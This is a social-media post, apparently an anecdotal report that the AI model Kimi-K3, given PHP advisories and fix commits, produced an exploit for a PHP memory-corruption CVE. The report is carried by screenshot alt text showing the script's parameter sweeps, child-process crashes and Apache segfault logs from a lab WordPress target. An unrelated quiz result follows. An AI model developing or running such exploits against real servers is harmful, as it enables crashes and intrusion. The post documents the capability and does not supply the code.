Anecdotal experience report: I had Kimi-K3 running in a lab environment with white-box access to PHP overnight (can’t tell exactly how long it took). Part of the (very simple) prompt were the advisories, articles by Calif & Wiz, as well as PHP’s fix commits. It […]
[Original post on chaos.social]
![Output screenshot of Kimi’s exploit against an external WordPress instance, showing multiple memory corruptions:
> python3 exploit_618.py 10.89.0.2 80 /
[*] CVE-2026-109618 stale-bucket 00M corruption vs 10.89.0.2:80/
depth=20
keylen=10000
nparts=300:
('ALIVE', 500, 200)
depth=20
keylen=10000
nparts=250:
('ALIVE', 500,
200)
depth=20
keylen=10000
nparts=350:
('ALIVE', 500,
200)
depth=20
keylen=10000
nparts=400:
('ALIVE', 500,
200)
depth=20
keylen=10000
nparts=200:
('ALIVE', 500,
200)
depth=20
keylen=10000
nparts=450:
('CHILD
DIED'
'ConnectionResetError', None) <-- CHILD CRASH (memory corruption)
depth=20
keylen=10000
nparts=500:
('ALIVE, 500, 200)
depth=20
keylen=9000
nparts=300:
('ALIVE', 500, 200)
depth=20
keyLen=9000
nparts=250:
('ALIVE', 500, 200)
depth=20
keylen=9000
nparts=350:
('ALIVE', 500, 200)
depth=20
keylen=9000
nparts=400:
('ALIVE', 500, 200)
depth=20
keylen=9000
nparts=200:
('ALIVE', 500, 200)
depth=20
keylen=9000
nparts=450:
('ALIVE', 500, 200)
depth=20
keylen=9000
nparts=500:
('ALIVE', 500,
200)
depth=20
keylen=11000
nparts=300:
('CHILD DIED'
'ConnectionResetError', None)
depth=20
keylen=11000
nparts=250:
('CHILD_DIED'
'ConnectionResetError', None)
<-- CHILD CRASH (memory corruption)
<-- CHILD CRASH (memory corruption)](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:6yuxjlr7g5hhygotvk2owh6b/bafkreif77wmwmpxjkeoj4tc4mcc2ketce57izagtsut7jodg3xjjaqfyny)
![Screenshot of the Apache access log of the WordPress instance being exploited, showing some segfaults:
[22-0ct-2026 09:54:09 UTC] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 20480 bytes) in Unknown on line 0
10.89.0.1 - - [22/Oct/2026:09:54:09 +0000]
POST / HTTP/1.1" 500 211
"_
10.89.0.1 - - [22/0ct/2026:09:54:09 +0000] "GET / HTTP/1.1" 200 69467 "-"
"_i
[22-0ct-2026 09:54:09 UTC] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 12288 bytes) in Unknown on line 0
[22-Oct-2026 09:54:10 UTC] PHP Fatal error:
Allowed memory size of 134217728 bytes exhausted (tried to allocate 12288 bytes) in Unknown on line 0
[Thu Oct 22 09:54:10.820779 2026] [core:notice] [pid 1:tid 1] АН00051: child pid 48 exit signal Segmentation fault (11), possible coredump in /etc/apache2
[Thu Oct 22 09:54:10.820826 2026] [core:notice] [pid 1:tid 1] АН00051: child pid 49 exit signal Segmentation fault (11), possible coredump in /etc/apache2
rЭ2_0ct_2026 09:54:11 UTC1 pHP Fatal errors
Allowed memorv size of 134217728 hvtes exhausted (tried to allocate 2288 bytes) in Unknown on line 0](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:6yuxjlr7g5hhygotvk2owh6b/bafkreids6twmppus55i6hqxwqilcbedsyrmeupesjgak7eqbyntneyfmam)
![Screenshot of my result on the "German or Autistic" test: Neither
38 % German
27% Autistic
Scores are independent - they don't need to add up to 100%.
You are, as far as this diagnostic can establish, neither specifically German in your cognitive habits nor particularly autistic in your neurological profile. You are something rarer in the context of people
who take quizzes like this: apparently normal about it.
This may mean the questions didn't land correctly. It may mean you're better at self- presentation than self-report. It may mean [cutoff]](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:6yuxjlr7g5hhygotvk2owh6b/bafkreiae3isjsb5ktq6p5a67fvnooqwcxua2p5dogqwqutcrgrzmjcmjxi)
